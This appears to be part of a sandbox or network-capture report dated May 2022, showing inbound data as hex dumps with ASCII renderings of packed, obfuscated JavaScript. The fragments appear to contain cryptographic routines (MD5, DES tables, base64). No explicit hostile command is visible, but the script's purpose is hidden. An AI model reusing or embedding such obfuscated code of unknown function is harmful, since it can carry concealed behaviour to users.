22 31 63 4b 3d 22 2c 22 31 63 51 22 2c 22 31 63 53 3d 22 2c 22 31 63 55 3d 
Data Ascii: d=","1cc=","1bR=","1bS=","1bT=","1bU=","1bV=","1bW=","1bX=","1bY=","1bZ=","1bQ=","1c0=","1c2=","1c
3=","1c6=","1c7=","1cb=","1cC==","1dc=","1dd=","1d5=","1dg=","1di=","1dj=","1dk=","1dl=","1dn=","1do=","1dp=",
"1dh==","1d3=","1cR=","1cK=","1cQ","1cS=","1cU=

2022-05-13 14:40:18 UTC 917 IN Data Raw: 35 77 3d 22 2c 22 31 35 49 22 2c 22 31 35 6b 3d 22 2c 22 31 35 6a 3d 22 2c 22 31 34 59 3d 3d 22 2c 22 31 
35 33 3d 22 2c 22 31 35 61 3d 22 2c 22 31 35 66 3d 22 2c 22 31 35 67 3d 22 2c 22 31 35 69 3d 22 2c 22 31 36 66 3d 22 
2c 22 31 36 68 22 2c 22 31 36 69 3d 22 2c 22 31 36 6a 3d 22 2c 22 31 36 6d 3d 22 2c 22 31 36 6f 3d 22 2c 22 31 36 67 3
d 3d 22 2c 22 31 36 75 3d 22 2c 22 31 36 76 3d 22 2c 22 31 36 42 3d 22 2c 22 31 36 64 3d 22 2c 22 31 35 4f 22 2c 22 31 
35 51 3d 22 2c 22 31 35 54 3d 22 2c 22 31 35 55 3d 3d 22 2c 22 31 35 56 3d 22 2c 22 31 35 57 3d 22 2c 22 31 35 4d 3d 
22 2c 22 31 36 35 3d 22 2c 22 31 36 62 3d 22 2c 22 31 36 63 3d 22 2c 22 31 38 6f 3d 22 2c 22 31 36 46 3d 3d 22 2c 22 
31 38 70 3d 22 2c 22 31 61 44 3d 22 2c 22 31 61 45 3d 22 2c 22 31 61 47 
Data Ascii: 5w=","15I","15k=","15j=","14Y==","153=","15a=","15f=","15g=","15i=","16f=","16h","16i=","16j=","16m=","16o="
,"16g==","16u=","16v=","16B=","16d=","15O","15Q=","15T=","15U==","15V=","15W=","15M=","165=","16b=","16c=","18
o=","16F==","18p=","1aD=","1aE=","1aG

2022-05-13 14:40:18 UTC 918 IN Data Raw: 35 4a 3d 22 2c 22 31 35 65 3d 22 2c 22 31 35 62 3d 3d 22 2c 22 31 34 55 3d 22 2c 22 31 35 35 3d 22 2c 22 
31 35 34 3d 22 2c 22 31 35 30 3d 22 2c 22 31 34 5a 3d 22 2c 22 31 34 58 3d 3d 22 2c 22 31 34 56 22 2c 22 31 35 38 3d 
22 2c 22 31 35 48 3d 22 2c 22 31 35 47 3d 22 2c 22 31 35 45 3d 22 2c 22 31 35 44 3d 3d 22 2c 22 31 35 41 3d 22 2c 22 3
1 35 7a 3d 22 2c 22 31 35 78 3d 3d 22 2c 22 31 35 6d 3d 22 2c 22 31 35 76 3d 22 2c 22 31 35 75 3d 22 2c 22 31 35 71 
3d 22 2c 22 31 35 70 3d 22 2c 22 31 35 6e 3d 3d 22 2c 22 31 36 44 3d 22 2c 22 31 35 4c 3d 22 2c 22 31 36 45 3d 22 2c 
22 31 37 78 3d 22 2c 22 31 37 54 3d 22 2c 22 31 37 53 3d 22 2c 22 31 37 52 22 2c 22 31 37 51 3d 22 2c 22 31 37 50 3d 
22 2c 22 31 37 4e 3d 22 2c 22 31 37 4c 3d 22 2c 22 31 37 79 3d 3d 22 2c 22 
Data Ascii: 5J=","15e=","15b==","14U=","155=","154=","150=","14Z=","14X==","14V","158=","15H=","15G=","15E=","
15D==","15A=","15z=","15x==","15m=","15v=","15u=","15q=","15p=","15n==","16D=","15L=","16E=","17x=","17T=","17
S=","17R","17Q=","17P=","17N=","17L=","17y==","

2022-05-13 14:40:18 UTC 920 IN Data Raw: 2c 22 31 64 46 3d 22 2c 22 31 64 76 3d 22 2c 22 31 64 45 3d 3d 22 2c 22 31 64 42 3d 22 2c 22 31 64 41 3d 
22 2c 22 31 64 7a 3d 22 2c 22 31 64 79 3d 22 2c 22 31 64 78 3d 22 2c 22 31 64 52 3d 22 2c 22 31 65 69 3d 22 2c 22 31 
65 61 3d 22 2c 22 31 65 38 3d 22 2c 22 31 64 55 3d 22 2c 22 31 65 35 3d 22 2c 22 31 64 59 3d 22 2c 22 58 66 3d 22 2c 2
2 58 6e 3d 22 2c 22 58 65 3d 22 2c 22 58 49 3d 22 2c 22 58 72 3d 22 2c 22 58 70 3d 22 2c 22 57 48 3d 22 2c 22 57 42 
3d 22 2c 22 57 41 3d 22 2c 22 57 76 3d 22 2c 22 57 75 3d 22 2c 22 57 73 22 2c 22 57 72 3d 22 2c 22 57 71 3d 22 2c 22 
57 70 3d 22 2c 22 57 77 3d 22 2c 22 57 47 3d 22 2c 22 57 59 3d 22 2c 22 57 58 3d 3d 22 2c 22 57 56 3d 3d 22 2c 22 57 
55 3d 22 2c 22 57 52 3d 22 2c 22 57 50 3d 22 2c 22 57 4f 3d 22 2c 22 57 4e 
Data Ascii: ,"1dF=","1dv=","1dE==","1dB=","1dA=","1dz=","1dy=","1dx=","1dR=","1ei=","1ea=","1e8=","1dU=","1e5=
","1dY=","Xf=","Xn=","Xe=","XI=","Xr=","Xp=","WH=","WB=","WA=","Wv=","Wu=","Ws","Wr=","Wq=","Wp=","Ww=","WG=",
"WY=","WX==","WV==","WU=","WR=","WP=","WO=","WN

2022-05-13 14:40:18 UTC 921 IN Data Raw: 3d 22 2c 22 58 6b 22 2c 22 31 61 4a 22 2c 22 31 65 31 3d 22 2c 22 56 45 3d 22 2c 22 31 34 72 22 2c 22 31 
34 6d 3d 22 2c 22 31 34 4a 3d 22 2c 22 31 34 30 3d 22 2c 22 31 34 38 3d 3d 22 2c 22 31 34 31 3d 3d 22 2c 22 31 33 5a 
3d 22 2c 22 31 33 55 3d 22 2c 22 31 30 73 3d 22 2c 22 31 30 74 3d 22 2c 22 5a 70 3d 22 2c 22 5a 4f 3d 22 2c 22 5a 48 3
d 22 2c 22 31 31 41 3d 22 2c 22 31 31 71 3d 22 2c 22 31 30 45 3d 22 2c 22 31 30 4c 3d 22 2c 22 31 31 39 3d 22 2c 22 
31 30 57 3d 3d 22 2c 22 31 30 49 3d 22 2c 22 31 30 4d 3d 22 2c 22 31 31 70 3d 22 2c 22 31 31 72 3d 22 2c 22 31 31 78 
3d 22 2c 22 31 31 79 3d 3d 22 2c 22 31 30 6c 3d 22 2c 22 31 30 6e 3d 22 2c 22 31 30 36 3d 22 2c 22 31 33 57 3d 22 2c 
22 31 33 58 3d 22 2c 22 31 33 52 3d 22 2c 22 31 34 61 3d 22 2c 22 31 33 41 
Data Ascii: =","Xk","1aJ","1e1=","VE=","14r","14m=","14J=","140=","148==","141==","13Z=","13U=","10s=","10t=",
"Zp=","ZO=","ZH=","11A=","11q=","10E=","10L=","119=","10W==","10I=","10M=","11p=","11r=","11x=","11y==","10l="
,"10n=","106=","13W=","13X=","13R=","14a=","13A

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:18 UTC 922 IN Data Raw: 47 28 4e 28 22 31 39 50 22 29 2b 22 2e 31 53 22 2b 4e 28 22 31 39 53 22 29 2b 4e 28 22 31 39 55 22 29 2b 
4e 28 22 31 39 56 22 29 2b 4e 28 22 31 39 57 22 29 2b 4e 28 22 31 39 59 22 29 2b 4e 28 22 31 39 5a 22 29 2b 4e 28 22 
31 61 33 22 29 2b 4e 28 22 31 61 34 22 29 2b 4e 28 22 31 61 35 22 29 2b 4e 28 22 31 39 78 22 29 2b 4e 28 22 31 39 6d 
22 29 2b 4e 28 22 31 39 70 22 29 2b 22 65 64 2e 22 29 3b 55 20 64 28 29 7b 7d 31 61 20 57 3b 69 66 28 64 5b 4e 28 22 
31 72 22 29 2b 22 31 52 22 5d 3d 78 5b 4e 28 22 31 72 22 29 2b 4e 28 22 31 71 22 29 5d 2c 62 5b 22 32 57 22 2b 4e 28 
22 31 71 22 29 5d 3d 31 64 20 64 2c 28 62 5b 4e 28 22 31 72 22 29 2b 4e 28 22 31 71 22 29 5d 5b 4e 28 22 31 4c 22 29 
2b 4e 28 22 31 4d 22 29 2b 22 72 22 5d 3d 62 29 5b 4e 28 22 31 5a 22 29 2b 
Data Ascii: G(N("19P")+".1S"+N("19S")+N("19U")+N("19V")+N("19W")+N("19Y")+N("19Z")+N("1a3")+N("1a4")+N("1a5")+
N("19x")+N("19m")+N("19p")+"ed.");U d(){}1a W;if(d[N("1r")+"1R"]=x[N("1r")+N("1q")],b["2W"+N("1q")]=1d d,(b[N(
"1r")+N("1q")][N("1L")+N("1M")+"r"]=b)[N("1Z")+

2022-05-13 14:40:18 UTC 924 IN Data Raw: 2b 2b 29 7b 31 61 20 74 3d 63 5b 65 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 65 25 34 2a 38 26 32 35 35 3b 78 5b 
64 2b 65 3e 3e 3e 32 5d 7c 3d 74 3c 3c 32 34 2d 28 64 2b 65 29 25 34 2a 38 7d 31 4b 20 31 6a 28 65 3d 30 3b 65 3c 57 
3b 65 2b 3d 34 29 78 5b 64 2b 65 3e 3e 3e 32 5d 3d 63 5b 65 3e 3e 3e 32 5d 3b 31 62 20 51 5b 4e 28 22 34 70 22 29 2b 
4e 28 22 33 51 22 29 5d 2b 3d 57 2c 51 7d 2c 78 76 3a 55 28 29 7b 31 61 20 62 3d 51 5b 4e 28 22 33 75 22 29 5d 2c 78 
3d 51 5b 4e 28 22 34 70 22 29 2b 4e 28 22 33 51 22 29 5d 3b 62 5b 78 3e 3e 3e 32 5d 26 3d 54 48 3c 3c 33 32 2d 78 25 
34 2a 38 2c 62 5b 4e 28 22 31 6b 22 29 2b 22 68 22 5d 3d 61 5b 4e 28 22 6d 4b 22 29 5d 28 78 2f 34 29 7d 2c 36 59 3a 
55 28 29 7b 31 61 20 62 3d 64 5b 4e 28 22 35 4a 22 29 5d 2e 34 66 28 51 29 
Data Ascii: ++){1a t=c[e>>>2]>>>24-e%4*8&255;x[d+e>>>2]|=t<<24-(d+e)%4*8}1K 1j(e=0;e<W;e+=4)x[d+e>>>
2]=c[e>>>2];1b Q[N("4p")+N("3Q")]+=W,Q},xv:U(){1a b=Q[N("3u")],x=Q[N("4p")+N("3Q")];b[x>>>2]&=TH<<32-x%4*8,b[N
("1k")+"h"]=a[N("mK")](x/4)},6Y:U(){1a b=d[N("5J")].4f(Q)

2022-05-13 14:40:18 UTC 925 IN Data Raw: 61 5b 4e 28 22 6d 4b 22 29 5d 28 65 29 3a 61 5b 4e 28 22 67 43 22 29 5d 28 28 30 7c 65 29 2d 51 5b 4e 28 
22 43 57 22 29 2b 22 44 66 22 2b 4e 28 22 38 6a 22 29 5d 2c 30 29 29 2a 57 2c 69 3d 61 2e 76 39 28 34 2a 74 2c 64 29 
3b 69 66 28 74 29 7b 31 6a 28 31 61 20 6e 3d 30 3b 6e 3c 74 3b 6e 2b 3d 57 29 51 5b 22 31 38 4a 22 2b 4e 28 22 31 38 
49 22 29 2b 4e 28 22 66 45 22 29 5d 28 63 2c 6e 29 3b 31 61 20 72 3d 63 5b 4e 28 22 6e 63 22 29 2b 22 65 22 5d 28 30 
2c 74 29 3b 78 5b 4e 28 22 34 70 22 29 2b 22 6a 50 22 5d 2d 3d 69 7d 31 62 20 31 64 20 66 5b 4e 28 22 33 43 22 29 5d 
28 72 2c 69 29 7d 2c 36 59 3a 55 28 29 7b 31 61 20 62 3d 64 5b 4e 28 22 35 4a 22 29 5d 5b 4e 28 22 31 42 22 29 5d 28 
51 29 3b 31 62 20 62 5b 4e 28 22 38 53 22 29 5d 3d 51 5b 4e 28 22 38 53 22 
Data Ascii: a[N("mK")](e):a[N("gC")]((0|e)-Q[N("CW")+"Df"+N("8j")],0))*W,i=a.v9(4*t,d);if(t){1j(1a n=0;n<t;n+=W)Q["18J"+
N("18I")+N("fE")](c,n);1a r=c[N("nc")+"e"](0,t);x[N("4p")+"jP"]-=i}1b 1d f[N("3C")](r,i)},6Y:U(){1a b=d[N("5J")][N("1B")](Q);1b 
b[N("8S")]=Q[N("8S"

2022-05-13 14:40:18 UTC 926 IN Data Raw: 28 22 38 77 22 29 2b 4e 28 22 32 6a 22 29 5d 2c 64 3d 78 5b 4e 28 22 44 51 22 29 2b 22 31 62 68 22 2b 4e 
28 22 6b 58 22 29 2b 22 68 6d 22 5d 2c 57 3d 6f 5b 4e 28 22 33 4c 22 29 5d 5b 4e 28 22 6b 48 22 29 2b 22 34 22 5d 2c 
65 3d 6f 2e 63 37 5b 4e 28 22 31 62 46 22 29 2b 22 46 22 5d 2c 69 3d 78 5b 4e 28 22 36 78 22 29 2b 22 72 22 5d 3d 64 
5b 4e 28 22 31 41 22 29 2b 22 64 22 5d 28 7b 38 35 3a 63 5b 4e 28 22 31 41 22 29 2b 22 64 22 5d 28 29 2c 43 6a 3a 55 
28 62 2c 78 29 7b 31 62 20 51 5b 4e 28 22 33 67 22 29 2b 22 65 22 5d 28 51 5b 22 7a 5a 22 2b 4e 28 22 71 6f 22 29 2b 
4e 28 22 42 74 22 29 5d 2c 62 2c 78 29 7d 2c 42 77 3a 55 28 62 2c 78 29 7b 31 62 20 51 5b 4e 28 22 33 67 22 29 2b 22 
65 22 5d 28 51 5b 4e 28 22 31 62 44 22 29 2b 4e 28 22 71 6f 22 29 2b 4e 28 
Data Ascii: ("8w")+N("2j")],d=x[N("DQ")+"1bh"+N("kX")+"hm"],W=o[N("3L")][N("kH")+"4"],e=o.c7[N("1bF")+"F"],i=x
[N("6x")+"r"]=d[N("1A")+"d"]({85:c[N("1A")+"d"](),Cj:U(b,x){1b Q[N("3g")+"e"](Q["zZ"+N("qo")+N("Bt")],b,x)},Bw:U(b,x){1b 
Q[N("3g")+"e"](Q[N("1bD")+N("qo")+N(

2022-05-13 14:40:18 UTC 928 IN Data Raw: 29 2b 4e 28 22 66 45 22 29 5d 3d 57 7d 7d 29 2c 72 3d 72 5b 4e 28 22 31 35 64 22 29 5d 3d 61 2c 61 3d 28 6f 
5b 4e 28 22 41 64 22 29 5d 3d 7b 7d 29 5b 4e 28 22 31 35 63 22 29 5d 3d 7b 31 35 39 3a 55 28 62 2c 78 29 7b 31 6a 28 
31 61 20 63 3d 34 2a 78 2c 64 3d 28 63 3d 63 2d 62 5b 4e 28 22 34 70 22 29 2b 4e 28 22 33 51 22 29 5d 25 63 29 3c 3c 
32 34 7c 63 3c 3c 31 36 7c 63 3c 3c 38 7c 63 2c 57 3d 5b 5d 2c 65 3d 30 3b 65 3c 63 3b 65 2b 3d 34 29 57 5b 4e 28 22 3
1 74 22 29 5d 28 64 29 3b 63 3d 74 5b 4e 28 22 33 67 22 29 2b 22 65 22 5d 28 57 2c 63 29 2c 62 5b 4e 28 22 36 4d 22 
29 2b 22 74 22 5d 28 63 29 7d 2c 41 4a 3a 55 28 62 29 7b 62 5b 4e 28 22 34 70 22 29 2b 4e 28 22 33 51 22 29 5d 2d 3d 
32 35 35 26 62 2e 36 43 5b 62 5b 4e 28 22 34 70 22 29 2b 22 6a 50 22 5d 
Data Ascii: )+N("fE")]=W}}),r=r[N("15d")]=a,a=(o[N("Ad")]={})[N("15c")]={159:U(b,x){1j(1a c=4*x,d=(c=c-b[N("4p")+N("3Q")
]%c)<<24|c<<16|c<<8|c,W=[],e=0;e<c;e+=4)W[N("1t")](d);c=t[N("3g")+"e"](W,c),b[N("6M")+"t"](c)},AJ:U(b){b[N("4p
")+N("3Q")]-=255&b.6C[b[N("4p")+"jP"]

2022-05-13 14:40:18 UTC 929 IN Data Raw: 4a 44 3a 78 2c 33 78 3a 63 2c 69 76 3a 57 2e 69 76 2c 31 67 42 3a 62 2c 70 4f 3a 57 2e 70 4f 2c 71 4c 3a 57 
2e 71 4c 2c 62 74 3a 62 5b 22 31 66 52 22 2b 4e 28 22 38 6a 22 29 5d 2c 31 66 4f 3a 64 5b 4e 28 22 36 7a 22 29 2b 22 
74 22 5d 7d 29 7d 2c 6a 62 3a 55 28 62 2c 78 2c 63 2c 64 29 7b 31 62 20 64 3d 51 5b 4e 28 22 37 47 22 29 5d 5b 4e 28 
22 31 41 22 29 2b 22 64 22 5d 28 64 29 2c 78 3d 51 5b 4e 28 22 49 53 22 29 2b 22 65 22 5d 28 78 2c 64 5b 4e 28 22 36 
7a 22 29 2b 22 74 22 5d 29 2c 62 5b 4e 28 22 33 67 22 29 2b 22 31 67 30 22 2b 4e 28 22 66 37 22 29 5d 28 63 2c 64 29 
2e 65 6a 28 78 5b 4e 28 22 39 49 22 29 2b 4e 28 22 63 71 22 29 5d 29 7d 2c 31 67 50 3a 55 28 62 2c 78 29 7b 31 62 20 
4e 28 22 31 51 22 29 2b 22 67 22 3d 3d 31 6c 20 62 3f 78 2e 35 59 28 62 
Data Ascii: JD:x,3x:c,iv:W.iv,1gB:b,pO:W.pO,qL:W.qL,bt:b["1fR"+N("8j")],1fO:d[N("6z")+"t"]})},jb:U(b,x,c,d){1b d=Q[N("7G
")][N("1A")+"d"](d),x=Q[N("IS")+"e"](x,d[N("6z")+"t"]),b[N("3g")+"1g0"+N("f7")](c,d).ej(x[N("9I")+N("cq")])},1gP:U(b,x){1b 
N("1Q")+"g"==1l b?x.5Y(b

2022-05-13 14:40:18 UTC 930 IN Data Raw: 2c 31 2c 35 2c 33 2c 32 38 2c 31 35 2c 36 2c 32 31 2c 31 30 2c 32 33 2c 31 39 2c 31 32 2c 34 2c 32 36 2c 38 
2c 31 36 2c 37 2c 32 37 2c 32 30 2c 31 33 2c 32 2c 34 31 2c 35 32 2c 33 31 2c 33 37 2c 34 37 2c 35 35 2c 33 30 2c 34 
30 2c 35 31 2c 34 35 2c 33 33 2c 34 38 2c 34 34 2c 34 39 2c 33 39 2c 35 36 2c 33 34 2c 35 33 2c 34 36 2c 34 32 2c 35 
30 2c 33 36 2c 32 39 2c 33 32 5d 2c 6e 3d 5b 31 2c 32 2c 34 2c 36 2c 38 2c 31 30 2c 31 32 2c 31 34 2c 31 35 2c 31 37 2
c 31 39 2c 32 31 2c 32 33 2c 32 35 2c 32 37 2c 32 38 5d 2c 66 3d 5b 7b 30 3a 70 59 2c 64 4a 3a 66 55 2c 68 71 3a 71 51 
2c 31 69 62 3a 32 2c 68 46 3a 67 76 2c 31 68 45 3a 71 37 2c 31 68 63 3a 71 49 2c 31 68 38 3a 64 43 2c 65 49 3a 71 48 
2c 31 68 35 3a 71 6d 2c 31 67 58 3a 71 61 2c 31 67 54 3a 71 76 2c 31 
Data Ascii: ,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,
56,34,53,46,42,50,36,29,32],n=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],f=[{0:pY,dJ:fU,hq:qQ,1ib:2,hF:gv,1h
E:q7,1hc:qI,1h8:dC,eI:qH,1h5:qm,1gX:qa,1gT:qv,1

2022-05-13 14:40:18 UTC 932 IN Data Raw: 31 34 6a 3a 63 59 2c 31 34 74 3a 70 55 2c 31 33 74 3a 71 67 2c 56 6e 3a 70 56 2c 56 52 3a 71 53 2c 55 41 
3a 71 4a 2c 58 41 3a 34 2c 4a 69 3a 71 47 7d 2c 7b 30 3a 6f 41 2c 63 59 3a 6f 5a 2c 6a 38 3a 6f 42 2c 58 34 3a 6f 4a 2c 
67 7a 3a 30 2c 58 6a 3a 6f 50 2c 58 6c 3a 6f 6f 2c 32 30 77 3a 6f 55 2c 65 52 3a 65 49 2c 32 30 79 3a 68 33 2c 32 63 76 
3a 36 34 2c 32 48 54 3a 6f 6a 2c 32 48 55 3a 6f 38 2c 32 48 56 3a 6f 79 2c 32 48 57 3a 64 79 2c 32 48 58 3a 6f 4c 2c 66 
55 3a 6f 5a 2c 45 34 3a 36 34 2c 32 48 59 3a 6f 38 2c 32 48 5a 3a 6f 6a 2c 32 49 30 3a 6f 50 2c 32 49 31 3a 6f 4c 2c 32 
49 32 3a 30 2c 32 49 33 3a 6f 4a 2c 32 49 34 3a 64 79 2c 32 48 53 3a 6f 41 2c 32 49 35 3a 68 33 2c 32 49 37 3a 6f 79 2c 
32 49 38 3a 65 49 2c 32 49 39 3a 6f 55 2c 32 49 61 3a 6f 42 
Data Ascii: 14j:cY,14t:pU,13t:qg,Vn:pV,VR:qS,UA:qJ,XA:4,Ji:qG},{0:oA,cY:oZ,j8:oB,X4:oJ,gz:0,Xj:oP,Xl:oo,20w:oU
,eR:eI,20y:h3,2cv:64,2HT:oj,2HU:o8,2HV:oy,2HW:dy,2HX:oL,fU:oZ,E4:64,2HY:o8,2HZ:oj,2I0:oP,2I1:oL,2I2:0,2I3:oJ,2
I4:dy,2HS:oA,2I5:h3,2I7:oy,2I8:eI,2I9:oU,2Ia:oB

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:18 UTC 933 IN Data Raw: 36 34 3a 6f 65 2c 38 30 3a 30 2c 39 36 3a 31 2c 31 31 32 3a 70 42 2c 31 32 38 3a 6f 39 2c 31 34 34 3a 6f 43 
2c 31 36 30 3a 6f 73 2c 31 37 36 3a 6f 7a 2c 31 39 32 3a 6f 71 2c 32 30 38 3a 70 76 2c 32 32 34 3a 70 77 2c 32 34 30 3a 
6a 48 2c 38 3a 70 42 2c 32 34 3a 30 2c 34 30 3a 70 46 2c 35 36 3a 6f 7a 2c 37 32 3a 65 50 2c 38 38 3a 6f 73 2c 31 30 
34 3a 6a 48 2c 31 32 30 3a 70 76 2c 31 33 36 3a 6f 62 2c 31 35 32 3a 6f 39 2c 31 36 38 3a 6f 71 2c 31 38 34 3a 6f 43 2c 
32 30 30 3a 6a 41 2c 32 31 36 3a 6f 65 2c 32 33 32 3a 31 2c 32 34 38 3a 70 77 2c 32 35 36 3a 6a 48 2c 32 37 32 3a 65 
50 2c 32 38 38 3a 70 46 2c 33 30 34 3a 70 42 2c 32 46 74 3a 6f 43 2c 32 46 75 3a 6f 39 2c 32 46 76 3a 6f 7a 2c 32 46 77 
3a 6f 62 2c 6c 39 3a 70 76 2c 32 46 78 3a 6f 65 2c 32 46 79 3a 
Data Ascii: 64:oe,80:0,96:1,112:pB,128:o9,144:oC,160:os,176:oz,192:oq,208:pv,224:pw,240:jH,8:pB,24:0,40:pF,56:
oz,72:eP,88:os,104:jH,120:pv,136:ob,152:o9,168:oq,184:oC,200:jA,216:oe,232:1,248:pw,256:jH,272:eP,288:pF,304:p
B,2Ft:oC,2Fu:o9,2Fv:oz,2Fw:ob,l9:pv,2Fx:oe,2Fy:

2022-05-13 14:40:18 UTC 934 IN Data Raw: 2e 41 62 3d 62 5b 78 5d 2c 51 2e 41 79 3d 62 5b 78 2b 31 5d 2c 72 5b 4e 28 22 31 42 22 29 5d 28 51 2c 34 
2c 41 78 29 2c 72 5b 4e 28 22 31 42 22 29 5d 28 51 2c 31 36 2c 64 4f 29 2c 61 5b 4e 28 22 31 42 22 29 5d 28 51 2c 32 
2c 41 77 29 2c 61 5b 4e 28 22 31 42 22 29 5d 28 51 2c 38 2c 39 4a 29 2c 72 5b 4e 28 22 31 42 22 29 5d 28 51 2c 31 2c 
41 38 29 3b 31 6a 28 31 61 20 64 3d 30 3b 64 3c 31 36 3b 64 2b 2b 29 7b 31 6a 28 31 61 20 57 3d 63 5b 64 5d 2c 65 3d 
51 2e 41 62 2c 74 3d 51 5b 4e 28 22 61 4c 22 29 2b 22 63 6b 22 5d 2c 69 3d 30 2c 6e 3d 30 3b 6e 3c 38 3b 6e 2b 2b 29 
69 7c 3d 66 5b 6e 5d 5b 28 28 74 5e 57 5b 6e 5d 29 26 73 5b 6e 5d 29 3e 3e 3e 30 5d 3b 51 5b 4e 28 22 61 44 22 29 2b 
22 63 6b 22 5d 3d 74 2c 51 5b 4e 28 22 61 4c 22 29 2b 22 63 6b 22 5d 3d 65 
Data Ascii: .Ab=b[x],Q.Ay=b[x+1],r[N("1B")](Q,4,Ax),r[N("1B")](Q,16,dO),a[N("1B")](Q,2,Aw),a[N("1B")](Q,8,9J),r[N("1B")]
(Q,1,A8);1j(1a d=0;d<16;d++){1j(1a W=c[d],e=Q.Ab,t=Q[N("aL")+"ck"],i=0,n=0;n<8;n++)i|=f[n][((t^W[n])&s[n])>>>0
];Q[N("aD")+"ck"]=t,Q[N("aL")+"ck"]=e

2022-05-13 14:40:18 UTC 936 IN Data Raw: 5b 4e 28 22 35 4b 22 29 2b 22 74 22 5d 28 36 34 29 29 31 6a 28 3b 62 2e 31 47 25 34 3b 29 62 5b 4e 28 22 
31 74 22 29 5d 28 78 29 3b 31 62 20 62 2e 6d 63 28 22 22 29 7d 2c 35 59 3a 55 28 62 29 7b 31 61 20 78 3d 62 5b 4e 28 
22 31 6b 22 29 2b 22 68 22 5d 2c 63 3d 51 5b 4e 28 22 43 52 22 29 5d 3b 21 28 65 3d 63 5b 4e 28 22 35 4b 22 29 2b 22 
74 22 5d 28 36 34 29 29 7c 7c 2d 31 21 3d 28 65 3d 62 5b 4e 28 22 32 50 22 29 2b 22 4f 66 22 5d 28 65 29 29 26 26 28 
78 3d 65 29 3b 31 6a 28 31 61 20 64 2c 57 2c 65 3d 5b 5d 2c 74 3d 30 2c 69 3d 30 3b 69 3c 78 3b 69 2b 2b 29 7b 69 25 
34 26 26 28 64 3d 63 2e 34 79 28 62 5b 4e 28 22 35 4b 22 29 2b 22 74 22 5d 28 69 2d 31 29 29 3c 3c 69 25 34 2a 32 2c 
57 3d 63 5b 4e 28 22 32 50 22 29 2b 22 4f 66 22 5d 28 62 5b 4e 28 22 35 4b 
Data Ascii: [N("5K")+"t"](64))1j(;b.1G%4;)b[N("1t")](x);1b b.mc("")},5Y:U(b){1a x=b[N("1k")+"h"],c=Q[N("CR")];!(e=c[N("5
K")+"t"](64))||-1!=(e=b[N("2P")+"Of"](e))&&(x=e);1j(1a d,W,e=[],t=0,i=0;i<x;i++){i%4&&(d=c.4y(b[N("5K")+"t"](i-1))<<i%4*
2,W=c[N("2P")+"Of"](b[N("5K

2022-05-13 14:40:18 UTC 937 IN Data Raw: 2c 77 3d 4b 28 77 2c 6d 2c 79 2c 70 2c 6f 2c 31 37 2c 7a 5b 31 30 5d 29 2c 70 3d 4b 28 70 2c 77 2c 6d 2c 79 
2c 68 2c 32 32 2c 7a 5b 31 31 5d 29 2c 79 3d 4b 28 79 2c 70 2c 77 2c 6d 2c 75 2c 37 2c 7a 5b 31 32 5d 29 2c 6d 3d 4b 
28 6d 2c 79 2c 70 2c 77 2c 67 2c 31 32 2c 7a 5b 31 33 5d 29 2c 77 3d 4b 28 77 2c 6d 2c 79 2c 70 2c 76 2c 31 37 2c 7a 
5b 31 34 5d 29 2c 79 3d 43 28 79 2c 70 3d 4b 28 70 2c 77 2c 6d 2c 79 2c 6c 2c 32 32 2c 7a 5b 31 35 5d 29 2c 77 2c 6d 2
c 64 2c 35 2c 7a 5b 31 36 5d 29 2c 6d 3d 43 28 6d 2c 79 2c 70 2c 77 2c 72 2c 39 2c 7a 5b 31 37 5d 29 2c 77 3d 43 28 77 
2c 6d 2c 79 2c 70 2c 68 2c 31 34 2c 7a 5b 31 38 5d 29 2c 70 3d 43 28 70 2c 77 2c 6d 2c 79 2c 57 2c 32 30 2c 7a 5b 31 
39 5d 29 2c 79 3d 43 28 79 2c 70 2c 77 2c 6d 2c 6e 2c 35 2c 7a 5b 32 
Data Ascii: ,w=K(w,m,y,p,o,17,z[10]),p=K(p,w,m,y,h,22,z[11]),y=K(y,p,w,m,u,7,z[12]),m=K(m,y,p,w,g,12,z[13]),w=
K(w,m,y,p,v,17,z[14]),y=C(y,p=K(p,w,m,y,l,22,z[15]),w,m,d,5,z[16]),m=C(m,y,p,w,r,9,z[17]),w=C(w,m,y,p,h,14,z[1
8]),p=C(p,w,m,y,W,20,z[19]),y=C(y,p,w,m,n,5,z[2

2022-05-13 14:40:18 UTC 938 IN Data Raw: 22 29 2b 4e 28 22 69 47 22 29 2b 22 73 22 5d 2c 64 3d 38 2a 62 5b 4e 28 22 34 70 22 29 2b 4e 28 22 33 51 
22 29 5d 3b 78 5b 64 3e 3e 3e 35 5d 7c 3d 31 32 38 3c 3c 32 34 2d 64 25 33 32 3b 31 61 20 57 3d 65 5b 4e 28 22 37 67 
22 29 5d 28 63 2f 66 4a 29 3b 31 6a 28 78 5b 31 35 2b 28 36 34 2b 64 3e 3e 3e 39 3c 3c 34 29 5d 3d 39 4a 26 28 57 3c 3
c 38 7c 57 3e 3e 3e 32 34 29 7c 62 4c 26 28 57 3c 3c 32 34 7c 57 3e 3e 3e 38 29 2c 78 5b 31 34 2b 28 36 34 2b 64 3e 
3e 3e 39 3c 3c 34 29 5d 3d 39 4a 26 28 63 3c 3c 38 7c 63 3e 3e 3e 32 34 29 7c 62 4c 26 28 63 3c 3c 32 34 7c 63 3e 3e 
3e 38 29 2c 62 5b 22 62 4a 22 2b 4e 28 22 33 51 22 29 5d 3d 34 2a 28 78 5b 4e 28 22 31 6b 22 29 2b 22 68 22 5d 2b 31 
29 2c 51 5b 4e 28 22 67 34 22 29 2b 4e 28 22 62 38 22 29 5d 28 29 2c 78 3d 
Data Ascii: ")+N("iG")+"s"],d=8*b[N("4p")+N("3Q")];x[d>>>5]|=128<<24-d%32;1a W=e[N("7g")](c/fJ);1j(x[15+(64+d>
>>9<<4)]=9J&(W<<8|W>>>24)|bL&(W<<24|W>>>8),x[14+(64+d>>>9<<4)]=9J&(c<<8|c>>>24)|bL&(c<<24|c>>>8),b["
bJ"+N("3Q")]=4*(x[N("1k")+"h"]+1),Q[N("g4")+N("b8")](),x=

2022-05-13 14:40:18 UTC 940 IN Data Raw: 63 5b 4e 28 22 39 76 22 29 2b 4e 28 22 73 63 22 29 2b 4e 28 22 6f 57 22 29 2b 22 65 72 22 5d 28 64 29 7d 
